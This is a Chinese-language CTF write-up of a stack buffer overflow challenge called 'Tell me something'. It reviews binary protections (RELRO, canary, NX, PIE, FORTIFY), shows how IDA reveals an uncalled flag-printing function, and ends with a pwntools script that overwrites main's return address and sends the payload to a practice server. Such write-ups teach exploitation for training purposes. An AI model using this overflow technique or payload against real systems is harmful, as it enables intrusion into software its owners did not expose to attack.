Tell me something
拿到文件后第一看看是什么架构,运行在什么平台
【1】RELRO:RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表
【2】Stack:如果栈中开启Canary found,那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过
【3】NX:NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,以前的经常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop这种方法绕过
【4】PIE:PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化,而如果没有开PIE的话那么No PIE (0x400000),括号内的数据就是程序的基地址
【5】FORTIFY:FORTIFY_SOURCE机制对格式化字符串有两个限制(1)包含%n的格式化字符串不能位于程序内存中的可写地址。(2)当使用位置参数时,必须使用范围内的所有参数。所以如果要使用%7$x,你必须同时使用1,2,3,4,5和6。
放入IDA_64中反编译看看(F5大法好)
程序的main函数逻辑结构很简单
查看下文件的字符串(shift+F12),可以看到有一个“flag.txt”的字符串
因为read到了一个int型的变量中,所以会产生溢出
看看这个字符串的交叉引用(X)快捷键!
跳转到调用了这个字符串的地方
发现一个打印flag的函数,但是main函数中并没有调用到这个函数
因为
那么大概思路就是这样了:通过溢出来覆盖main函数的返回地址!
脚本如下:
from pwn import *
context(os='linux',arch='amd64')
in_addr=0x00007FFC47901DB0
ret_addr=0x00007FFC47901E38
func_addr=0x0000000000400620
payload='a'*(ret_addr-in_addr)+p64(func_addr)
io=remote("pwn.jarvisoj.com",9876)
print io.recv()
io.sendline(payload)
print io.recv()